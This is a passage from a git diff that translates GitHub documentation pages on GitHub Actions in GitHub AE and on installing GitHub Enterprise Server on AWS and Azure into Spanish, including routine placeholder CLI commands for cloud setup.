-Your self-hosted runner without internet access should now be able to use the `setup-node` action. If you are having problems, make sure that you have populated the correct tool cache for your workflows. For example, if you need to use the `setup-python` action, you will need to populate the tool cache with the Python environment you want to use.
+Tu ejecutor auto-hospedado sin acceso a internet debería ahora poder utilizar la acción `setup-node`. Si experimentas algún problema, asegúrate de que hayas poblado el caché de la herramienta correcta para tus flujos de trabajo. Por ejemplo, si necesitas utilizar la acción `setup-python`, necesitarás poblar el caché de la herramienta con el ambiente de Python que quieras utilizar.
diff --git a/translations/es-ES/content/admin/github-actions/using-github-actions-in-github-ae/index.md b/translations/es-ES/content/admin/github-actions/using-github-actions-in-github-ae/index.md
index ed67e364c7..4e1b489a8d 100644
--- a/translations/es-ES/content/admin/github-actions/using-github-actions-in-github-ae/index.md
+++ b/translations/es-ES/content/admin/github-actions/using-github-actions-in-github-ae/index.md
@@ -1,10 +1,10 @@
 ---
-title: Using GitHub Actions in GitHub AE
-intro: 'Learn how to configure {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %}.'
+title: Utilizar GitHub Actions en GitHub AE
+intro: 'Aprende cómo configurar las {% data variables.product.prodname_actions %} en {% data variables.product.prodname_ghe_managed %}.'
 versions:
   ghae: '*'
 children:
   - /using-actions-in-github-ae
-shortTitle: Use Actions in GitHub AE
+shortTitle: Utilizar las acciones en GitHub AE
 ---
 
diff --git a/translations/es-ES/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md b/translations/es-ES/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
index 5228957db1..1ca7363ab8 100644
--- a/translations/es-ES/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
+++ b/translations/es-ES/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md
@@ -1,6 +1,6 @@
 ---
-title: Using actions in GitHub AE
-intro: '{% data variables.product.prodname_ghe_managed %} includes most of the {% data variables.product.prodname_dotcom %}-authored actions.'
+title: Utilizar las acciones en GitHub AE
+intro: '{% data variables.product.prodname_ghe_managed %} incluye la mayoría de las acciones que crea {% data variables.product.prodname_dotcom %}.'
 versions:
   ghae: '*'
 type: how_to
@@ -9,18 +9,18 @@ topics:
   - Enterprise
 redirect_from:
   - /admin/github-actions/using-actions-in-github-ae
-shortTitle: Use actions
+shortTitle: Utiliza acciones
 ---
 
 
-{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community.
+Los flujos de trabajo de {% data variables.product.prodname_actions %} pueden utilizar _acciones_, las cuales son tareas individuales que puedes combinar para crear jobs y personalizar tu flujo de trabajo. Puedes crear tus propias acciones, o utilizar y personalizar a quellas que comparte la comunidad de {% data variables.product.prodname_dotcom %}.
 
-## Official actions bundled with {% data variables.product.prodname_ghe_managed %}
+## Las acciones oficiales en conjunto con {% data variables.product.prodname_ghe_managed %}
 
-Most official {% data variables.product.prodname_dotcom %}-authored actions are automatically bundled with {% data variables.product.prodname_ghe_managed %}, and are captured at a point in time from {% data variables.product.prodname_marketplace %}. When your {% data variables.product.prodname_ghe_managed %} instance is updated, the bundled official actions are also updated.
+La mayoría de las acciones oficiales de autoría de {% data variables.product.prodname_dotcom %} se agrupan automáticamente con {% data variables.product.prodname_ghe_managed %} y se capturan en un punto en el tiempo desde {% data variables.product.prodname_marketplace %}. Cuando tu instancia de {% data variables.product.prodname_ghe_managed %} se actualiza, las acciones oficiales conjuntas también lo hacen.
 
-The bundled official actions include `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, and various `actions/setup-` actions, among others. To see which of the official actions are included, browse to the following organizations on your instance: 
+Las acciones agrupadas oficiales incluyen a `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, y varias acciones de `actions/setup-`, entre otras. Para ver cuáles de las acciones oficiales se incluyen, busca las siguientes organizaciones en tu instancia:
 - <code>https://<em>HOSTNAME</em>/actions</code>
 - <code>https://<em>HOSTNAME</em>/github</code>
 
-Each action's files are kept in a repository in the `actions` and `github` organizations. Each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action.
+Los archivos de cada acción se mantienen en un repositorio en las organizaciones `actions` y `github`. Cada repositorio de estas acciones incluye las etiquetas, ramas y SHA de confirmación necesarios que tu flujo de trabajo puede utilizar para referenciar a la acción.
diff --git a/translations/es-ES/content/admin/index.md b/translations/es-ES/content/admin/index.md
index e9f1fb4c60..1a436f1d44 100644
--- a/translations/es-ES/content/admin/index.md
+++ b/translations/es-ES/content/admin/index.md
@@ -1,7 +1,7 @@
 ---
-title: Enterprise administrator documentation
-shortTitle: Enterprise administrators
-intro: 'Documentation and guides for enterprise administrators{% ifversion ghes %}, system administrators,{% endif %} and security specialists who {% ifversion ghes %}deploy, {% endif %}configure{% ifversion ghes %},{% endif %} and manage {% data variables.product.product_name %}.'
+title: Documentación para administradores empresariales
+shortTitle: Administradores empresariales
+intro: 'Documentación y guías para los administradores empresariales{% ifversion ghes %}, administradores de sistema,{% endif %} y especialistas de seguridad quieres {% ifversion ghes %}despliegan, {% endif %}configuran{% ifversion ghes %},{% endif %} y fusionan {% data variables.product.product_name %}.'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise
diff --git a/translations/es-ES/content/admin/installation/index.md b/translations/es-ES/content/admin/installation/index.md
index 385c4412e7..d82e2a2698 100644
--- a/translations/es-ES/content/admin/installation/index.md
+++ b/translations/es-ES/content/admin/installation/index.md
@@ -1,7 +1,7 @@
 ---
-title: 'Installing {% data variables.product.prodname_enterprise %}'
-shortTitle: Installing
-intro: 'System administrators and operations and security specialists can install {% data variables.product.prodname_ghe_server %}.'
+title: 'Instalar {% data variables.product.prodname_enterprise %}'
+shortTitle: Instalar
+intro: 'Los administradores de sistema y los especialistas de seguridad y de operaciones pueden instalar {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /enterprise/admin-guide
   - /enterprise/admin/guides/installation
@@ -19,8 +19,9 @@ topics:
 children:
   - /setting-up-a-github-enterprise-server-instance
 ---
-For more information, or to purchase {% data variables.product.prodname_enterprise %}, see [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise).
+
+Para obtener más información, o para comprar {% data variables.product.prodname_enterprise %}, consulta [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise).
 
 {% data reusables.enterprise_installation.request-a-trial %}
 
-If you have questions about the installation process, see "[Working with {% data variables.product.prodname_enterprise %} Support](/enterprise/admin/guides/enterprise-support/)."
+Si tienes preguntas sobre el proceso de instalación, consulta "[Trabajar con el soporte {% data variables.product.prodname_enterprise %}](/enterprise/admin/guides/enterprise-support/)."
diff --git a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
index c1df769365..0f184fcb9f 100644
--- a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
+++ b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a GitHub Enterprise Server instance
-intro: 'You can install {% data variables.product.prodname_ghe_server %} on the supported virtualization platform of your choice.'
+title: Configurar una instancia del servidor de GitHub Enterprise
+intro: 'Puede instalar {% data variables.product.prodname_ghe_server %} en la plataforma de virtualización soportada de tu elección.'
 redirect_from:
   - /enterprise/admin/installation/getting-started-with-github-enterprise-server
   - /enterprise/admin/guides/installation/supported-platforms
@@ -20,6 +20,6 @@ children:
   - /installing-github-enterprise-server-on-vmware
   - /installing-github-enterprise-server-on-xenserver
   - /setting-up-a-staging-instance
-shortTitle: Set up an instance
+shortTitle: Configurar una instancia
 ---
 
diff --git a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md
index 4fbe447d97..7824d96569 100644
--- a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md
+++ b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on AWS
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Amazon Web Services (AWS), you must launch an Amazon Elastic Compute Cloud (EC2) instance and create and attach a separate Amazon Elastic Block Store (EBS) data volume.'
+title: Instalar el servidor de GitHub Enterprise en AWS
+intro: 'Para instalar el {% data variables.product.prodname_ghe_server %} en Amazon Web Services (AWS), debes iniciar una instancia de Amazon Elastic Compute Cloud (EC2) y crear y adjuntar un volumen de datos separado de Amazon Elastic Block Store (EBS).'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-aws
   - /enterprise/admin/installation/installing-github-enterprise-server-on-aws
@@ -13,103 +13,103 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on AWS
+shortTitle: Instalar en AWS
 ---
-## Prerequisites
+
+## Prerrequisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have an AWS account capable of launching EC2 instances and creating EBS volumes. For more information, see the [Amazon Web Services website](https://aws.amazon.com/).
-- Most actions needed to launch {% data variables.product.product_location %} may also be performed using the AWS management console. However, we recommend installing the AWS command line interface (CLI) for initial setup. Examples using the AWS CLI are included below. For more information, see Amazon's guides "[Working with the AWS Management Console](http://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html)" and "[What is the AWS Command Line Interface](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)."
+- Debes tener una cuenta AWS capaz de iniciar instancias EC2 y crear volúmenes EBS. Para obtener más información, consulta el [Sitio web de Amazon Web Services](https://aws.amazon.com/).
+- La mayoría de las acciones necesarias para iniciar {% data variables.product.product_location %} también pueden realizarse por medio de la consola de administración de AWS. Sin embargo, recomendamos instalar la interfaz de línea de comando de AWS (CLI) para la configuración inicial. Abajo se incluyen ejemplos que utilizan AWS CLI. Para obtener más información, consulta las guías de Amazon "[Trabajar con la consola de administración de AWS](http://docs.aws.amazon.com/awsconsolehelpdocs/latest/gsg/getting-started.html)" y "[Qué es la interfaz de línea de comando de AWS](http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html)."
 
-This guide assumes you are familiar with the following AWS concepts:
+Esta guía supone que estás familiarizado con los siguientes conceptos de AWS:
 
- - [Launching EC2 Instances](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html)
- - [Managing EBS Volumes](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html)
- - [Using Security Groups](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) (For managing network access to your instance)
- - [Elastic IP Addresses (EIP)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) (Strongly recommended for production environments)
- - [EC2 and Virtual Private Cloud](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html) (If you plan to launch into a Virtual Private Cloud)
- - [AWS Pricing](https://aws.amazon.com/pricing/) (For calculating and managing costs)
+ - [Iniciar instancias de EC2](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/LaunchingAndUsingInstances.html)
+ - [Administrar volúmenes de EBS](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AmazonEBS.html)
+ - [Utilizar grupos de seguridad](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) (para administrar el acceso de red a tu instancia)
+ - [Direcciones IP elásticas (EIP)](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) (altamente recomendadas para los entornos de producción)
+ - [EC2 y Virtual Private Cloud](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html) (si planeas iniciar dentro de Virtual Private Cloud)
+ - [Precios de AWS](https://aws.amazon.com/pricing/) (Para calcular y administrar los costos)
 
-For an architectural overview, see the "[AWS Architecture Diagram for Deploying GitHub Enterprise Server](/assets/images/installing-github-enterprise-server-on-aws.png)". 
+Para ver un resumen arquitectónico, consulta el [Diagrama de Arquitectura de AWS para Desplegar a GitHub Enterprise Server](/assets/images/installing-github-enterprise-server-on-aws.png)".
 
-This guide recommends the principle of least privilege when setting up {% data variables.product.product_location %} on AWS. For more information, refer to the [AWS Identity and Access Management (IAM) documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege).
+Esta guía te recomienda utilizar el principio del menor privilegio necesario cuando configures {% data variables.product.product_location %} en AWS. Para obtener más información, refiérete a la [Documentación sobre la Administración de Accesos e Identidad (IAM) de AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege).
 
-## Hardware considerations
+## Consideraciones relativas al hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Determining the instance type
+## Determinar el tipo de instancia
 
-Before launching {% data variables.product.product_location %} on AWS, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+Antes de iniciar {% data variables.product.product_location %} en AWS, deberás determinar el tipo de máquina que mejor se adapte a las necesidades de tu organización. Para revisar los requisitos mínimos para {% data variables.product.product_name %}, consulta la sección "[Requisitos mínimos](#minimum-requirements)".
 
 {% data reusables.enterprise_installation.warning-on-scaling %}
 
 {% data reusables.enterprise_installation.aws-instance-recommendation %}
 
-## Selecting the {% data variables.product.prodname_ghe_server %} AMI
+## Seleccionar la AMI del {% data variables.product.prodname_ghe_server %}
 
-You can select an Amazon Machine Image (AMI) for {% data variables.product.prodname_ghe_server %} using the {% data variables.product.prodname_ghe_server %} portal or the AWS CLI.
+Puedes seleccionar una Amazon Machine Image (AMI) para el {% data variables.product.prodname_ghe_server %} utilizando el portal del {% data variables.product.prodname_ghe_server %} o la CLI de AWS.
 
-AMIs for {% data variables.product.prodname_ghe_server %} are available in the AWS GovCloud (US-East and US-West) region. This allows US customers with specific regulatory requirements to run {% data variables.product.prodname_ghe_server %} in a federally compliant cloud environment. For more information on AWS's compliance with federal and other standards, see [AWS's GovCloud (US) page](http://aws.amazon.com/govcloud-us/) and [AWS's compliance page](https://aws.amazon.com/compliance/).
+Las AMIs para {% data variables.product.prodname_ghe_server %} se encuentran disponibles en la región de AWS GovCloud (EE.UU. Este y EE.UU. Oeste). Esto permite que los clientes de EE. UU. con requisitos reglamentarios específicos ejecuten el {% data variables.product.prodname_ghe_server %} en un entorno de nube que cumpla con los requisitos a nivel federal. Para obtener más información sobre el cumplimiento de AWS de las normas federales y otras normas, consulta la [Página de GovCloud (EE. UU.) de AWS](http://aws.amazon.com/govcloud-us/) y la [Página de cumplimiento de AWS](https://aws.amazon.com/compliance/).
 
-### Using the {% data variables.product.prodname_ghe_server %} portal to select an AMI
+### Utilizar el portal {% data variables.product.prodname_ghe_server %} para seleccionar una AMI
 
 {% data reusables.enterprise_installation.enterprise-download-procedural %}
 {% data reusables.enterprise_installation.download-appliance %}
-3. In the Select your platform drop-down menu, click **Amazon Web Services**.
-4. In the Select your AWS region drop-down menu, choose your desired region.
-5. Take note of the AMI ID that is displayed.
+3. En el menú desplegable Select your platform (Selecciona tu plataforma), haz clic en **Amazon Web Services**.
+4. En el menú desplegable Select your AWS region (Selecciona tu región AWS), elige tu región deseada.
+5. Toma nota de la ID de AMI que se muestra.
 
-### Using the AWS CLI to select an AMI
+### Utilizar la CLI de AWS para seleccionar una AMI
 
-1. Using the AWS CLI, get a list of {% data variables.product.prodname_ghe_server %} images published by {% data variables.product.prodname_dotcom %}'s AWS owner IDs (`025577942450` for GovCloud, and `895557238572` for other regions). For more information, see "[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)" in the AWS documentation.
+1. Utilizando una CLI de AWS, obtén una lista de imágenes publicadas del {% data variables.product.prodname_ghe_server %} por ID de propietarios de AWS de {% data variables.product.prodname_dotcom %} (`025577942450` para GovCloud, y `895557238572` para otras regiones). Para obtener más información, consulta "[describe-images](http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html)" en los documentos de AWS.
   ```shell
   aws ec2 describe-images \
   --owners <em>OWNER ID</em> \
   --query 'sort_by(Images,&Name)[*].{Name:Name,ImageID:ImageId}' \
   --output=text
   ```
-2. Take note of the AMI ID for the latest {% data variables.product.prodname_ghe_server %} image.
+2. Toma nota del ID de AMI de la última imagen del {% data variables.product.prodname_ghe_server %}.
 
-## Creating a security group
+## Crear un grupo de seguridad
 
-If you're setting up your AMI for the first time, you will need to create a security group and add a new security group rule for each port in the table below. For more information, see the AWS guide "[Using Security Groups](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)."
+Si estás configurando tu AMI por primera vez, deberás crear un grupo de seguridad y agregar una nueva regla de grupo de seguridad para cada puerto en la tabla de abajo. Para más información, consulta la guía AWS "[Usar grupos de seguridad](http://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-sg.html)."
 
-1. Using the AWS CLI, create a new security group. For more information, see "[create-security-group](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)" in the AWS documentation.
+1. Crea un nuevo grupo de seguridad utilizando la CLI de AWS. Para obtener más información, consulta "[create-security-group](http://docs.aws.amazon.com/cli/latest/reference/ec2/create-security-group.html)" en los documentos de AWS.
   ```shell
   $ aws ec2 create-security-group --group-name <em>SECURITY_GROUP_NAME</em> --description "<em>SECURITY GROUP DESCRIPTION</em>"
   ```
 
-2. Take note of the security group ID (`sg-xxxxxxxx`) of your newly created security group.
+2. Toma nota del ID del grupo de seguridad (`sg-xxxxxxxx`) de tu grupo de seguridad recientemente creado.
 
-3. Create a security group rule for each of the ports in the table below. For more information, see "[authorize-security-group-ingress](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)" in the AWS documentation.
+3. Crea una regla de grupo de seguridad para cada puerto en la tabla de abajo. Para obtener más información, consulta "[authorize-security-group-ingress](http://docs.aws.amazon.com/cli/latest/reference/ec2/authorize-security-group-ingress.html)" en los documentos de AWS.
   ```shell
   $ aws ec2 authorize-security-group-ingress --group-id <em>SECURITY_GROUP_ID</em> --protocol <em>PROTOCOL</em> --port <em>PORT_NUMBER</em> --cidr <em>SOURCE IP RANGE</em>
   ```
-  This table identifies what each port is used for.
+  Esta tabla identifica para qué se utiliza cada puerto.
 
   {% data reusables.enterprise_installation.necessary_ports %}
 
-## Creating the {% data variables.product.prodname_ghe_server %} instance
+## Crear la instancia {% data variables.product.prodname_ghe_server %}
 
-To create the instance, you'll need to launch an EC2 instance with your {% data variables.product.prodname_ghe_server %} AMI and attach an additional storage volume for your instance data. For more information, see "[Hardware considerations](#hardware-considerations)."
+Para crear la instancia, deberás lanzar una instancia de EC2 con tu AMI {% data variables.product.prodname_ghe_server %} y adjuntarle volumen de almacenamiento adicional para los datos de tu instancia. Para obtener más información, consulta "[Consideraciones relativas al hardware](#hardware-considerations)."
 
 {% note %}
 
-**Note:** You can encrypt the data disk to gain an extra level of security and ensure that any data you write to your instance is protected. There is a slight performance impact when using encrypted disks. If you decide to encrypt your volume, we strongly recommend doing so **before** starting your instance for the first time.
- For more information, see the [Amazon guide on EBS encryption](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html).
+**Nota:** puedes cifrar el disco de datos para obtener un nivel adicional de seguridad y estar seguro de que los datos que escribas en tu instancia están protegidos. Hay un leve impacto de desempeño cuando usas discos encriptados. Si decides cifrar tu volumen, recomendamos firmemente hacerlo **antes** de comenzar tu instancia por primera vez. Para más información, consulta la guía de Amazon [sobre el cifrado EBS](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html).
 
 {% endnote %}
 
 {% warning %}
 
-**Warning:** If you decide to enable encryption after you've configured your instance, you will need to migrate your data to the encrypted volume, which will incur some downtime for your users.
+**Advertencia:** si decides habilitar la encriptación después de configurar tu instancia, deberás migrar tus datos al volumen encriptado, que producirá tiempo de inactividad para tus usuarios.
 
 {% endwarning %}
 
-### Launching an EC2 instance
+### Lanzar una instancia de EC2
 
-In the AWS CLI, launch an EC2 instance using your AMI and the security group you created. Attach a new block device to use as a storage volume for your instance data, and configure the size based on your user license count. For more information, see "[run-instances](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)" in the AWS documentation.
+En la CLI de AWS, inicia una instancia de EC2 utilizando tu AMI y el grupo de seguridad que has creado. Adjunta un nuevo dispositivo de bloque para utilizarlo como volumen de almacenamiento para tus datos de la instancia y configura el tamaño de acuerdo con la cantidad de licencias de usuario que tengas. Para obtener más información, consulta "[run-instances](http://docs.aws.amazon.com/cli/latest/reference/ec2/run-instances.html)" en los documentos de AWS.
 
 ```shell
 aws ec2 run-instances \
@@ -121,21 +121,21 @@ aws ec2 run-instances \
   --ebs-optimized
 ```
 
-### Allocating an Elastic IP and associating it with the instance
+### Asignar una IP elástica y asociarla con la instancia
 
-If this is a production instance, we strongly recommend allocating an Elastic IP (EIP) and associating it with the instance before proceeding to {% data variables.product.prodname_ghe_server %} configuration. Otherwise, the public IP address of the instance will not be retained after instance restarts. For more information, see "[Allocating an Elastic IP Address](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)" and "[Associating an Elastic IP Address with a Running Instance](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)" in the Amazon documentation.  
+Si esta es una instancia de producción, recomendamos firmemente asignar una IP elástica (EIP) y asociarla con la instancia antes de continuar con la configuración del {% data variables.product.prodname_ghe_server %}. De lo contrario, la dirección IP pública de la instancia no se conservará después de que se reinicie la instancia. Para obtener más información, consulta "[Asignar una dirección IP elástica](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-allocating)" y "[Asociar una dirección IP elástica con una instancia en ejecución](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html#using-instance-addressing-eips-associating)" en la documentación de Amazon.
 
-Both primary and replica instances should be assigned separate EIPs in production High Availability configurations. For more information, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
+Tanto en la instancia principal y en la de réplica deberían asignarse EIP separadas en las configuraciones de alta disponibilidad de producción. Para obtener más información, consulta "[Configurar el {% data variables.product.prodname_ghe_server %} para alta disponibilidad](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)."
 
-## Configuring the {% data variables.product.prodname_ghe_server %} instance
+## Configurar la instancia de {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.copy-the-vm-public-dns-name %}
 {% data reusables.enterprise_installation.upload-a-license-file %}
-{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} For more information, see "[Configuring the {% data variables.product.prodname_ghe_server %} appliance](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
+{% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} Para obtener más información, consulta "[Configurar el aparato de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/configuring-the-github-enterprise-server-appliance)."
 {% data reusables.enterprise_installation.instance-will-restart-automatically %}
 {% data reusables.enterprise_installation.visit-your-instance %}
 
-## Further reading
+## Leer más
 
-- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
+- "[Resumen del sistema](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
+- "[Acerca de las mejoras a los lanzamientos nuevos](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
diff --git a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
index 514b440f73..f75c0d1a59 100644
--- a/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
+++ b/translations/es-ES/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md
@@ -1,6 +1,6 @@
 ---
-title: Installing GitHub Enterprise Server on Azure
-intro: 'To install {% data variables.product.prodname_ghe_server %} on Azure, you must deploy onto a DS-series instance and use Premium-LRS storage.'
+title: Instalar el servidor de GitHub Enterprise en Azure
+intro: 'Para instalar {% data variables.product.prodname_ghe_server %} en Azure, debes implementar en una instancia de serie DS y usar almacenamiento Premium-LRS.'
 redirect_from:
   - /enterprise/admin/guides/installation/installing-github-enterprise-on-azure
   - /enterprise/admin/installation/installing-github-enterprise-server-on-azure
@@ -13,58 +13,59 @@ topics:
   - Enterprise
   - Infrastructure
   - Set up
-shortTitle: Install on Azure
+shortTitle: Instalar en Azure
 ---
-You can deploy {% data variables.product.prodname_ghe_server %} on global Azure or Azure Government.
 
-## Prerequisites
+Puedes implementar {% data variables.product.prodname_ghe_server %} en Azure mundial o Azure Government.
+
+## Prerrequisitos
 
 - {% data reusables.enterprise_installation.software-license %}
-- You must have an Azure account capable of provisioning new machines. For more information, see the [Microsoft Azure website](https://azure.microsoft.com).
-- Most actions needed to launch your virtual machine (VM) may also be performed using the Azure Portal. However, we recommend installing the Azure command line interface (CLI) for initial setup. Examples using the Azure CLI 2.0 are included below. For more information, see Azure's guide "[Install Azure CLI 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest)."
+- Debes tener una cuenta Azure capaz de abastecer nuevas máquinas. Para obtener más información, consulta el [sitio web de Microsoft Azure](https://azure.microsoft.com).
+- La mayoría de las acciones necesarias para lanzar tu máquina virtual (VM) también se podrían realizar por medio del Portal Azure. Sin embargo, recomendamos instalar la interfaz de la línea de comando de Azure (CLI) para la configuración inicial. Abajo se incluyen ejemplos que utilizan Azure CLI 2.0. Para obtener más información, consulta la guía de Azure "[Instalar Azure CLI 2.0](https://docs.microsoft.com/cli/azure/install-azure-cli?view=azure-cli-latest)."
 
-## Hardware considerations
+## Consideraciones relativas al hardware
 
 {% data reusables.enterprise_installation.hardware-considerations-all-platforms %}
 
-## Determining the virtual machine type
+## Determinar el tipo de máquina virtual
 
-Before launching {% data variables.product.product_location %} on Azure, you'll need to determine the machine type that best fits the needs of your organization. To review the minimum requirements for {% data variables.product.product_name %}, see "[Minimum requirements](#minimum-requirements)."
+Antes de iniciar {% data variables.product.product_location %} en Azure, deberás determinar el tipo de máquina que mejor se adapte a las necesidades de tu organización. Para revisar los requisitos mínimos para {% data variables.product.product_name %}, consulta la sección "[Requisitos mínimos](#minimum-requirements)".
 
 {% data reusables.enterprise_installation.warning-on-scaling %}
 
 {% data reusables.enterprise_installation.azure-instance-recommendation %}
 
-## Creating the {% data variables.product.prodname_ghe_server %} virtual machine
+## Crear la máquina virtual{% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.create-ghe-instance %}
 
-1. Find the most recent {% data variables.product.prodname_ghe_server %} appliance image. For more information about the `vm image list` command, see "[az vm image list](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list)" in the Microsoft documentation.
+1. Encuentra la imagen de aparato más reciente {% data variables.product.prodname_ghe_server %}. Para obtener más información sobre el comando `vm image list`, consulta "[lista de imagen vm de az](https://docs.microsoft.com/cli/azure/vm/image?view=azure-cli-latest#az_vm_image_list)" en la documentación de Microsoft.
   ```shell
   $ az vm image list --all -f GitHub-Enterprise | grep '"urn":' | sort -V
   ```
 
-2. Create a new VM using the appliance image you found. For more information, see "[az vm create](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create)" in the Microsoft documentation.
+2. Crea una nueva VM utilizando la imagen de aparato que encontraste. Para obtener más información, consulta "[crear vm de az](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_create)" en la documentación de Microsoft.
 
-  Pass in options for the name of your VM, the resource group, the size of your VM, the name of your preferred Azure region, the name of the appliance image VM you listed in the previous step, and the storage SKU for premium storage. For more information about resource groups, see "[Resource groups](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups)" in the Microsoft documentation.
+  Aprueba opciones para el nombre de tu VM, el grupo de recurso, el tamaño de tu VM, el nombre de tu región Azure preferida, el nombre de la imagen de tu aparato VM que enumeraste en el paso anterior y el almacenamiento SKU para un almacenamiento prémium. Para obtener más información sobre grupos de recursos, consulta "[Grupos de recursos](https://docs.microsoft.com/azure/azure-resource-manager/resource-group-overview#resource-groups)" en la documentación de Microsoft.
 
   ```shell
   $ az vm create -n <em>VM_NAME</em> -g <em>RESOURCE_GROUP</em> --size <em>VM_SIZE</em> -l <em>REGION</em> --image <em>APPLIANCE_IMAGE_NAME</em> --storage-sku Premium_LRS
   ```
 
-3. Configure the security settings on your VM to open up required ports. For more information, see "[az vm open-port](https://docs.microsoft.com/cli/azure/vm?view=azure-cli-latest#az_vm_open_port)" in the Microsoft documentation. See the table below for a description of each port to determine what ports you need to open.
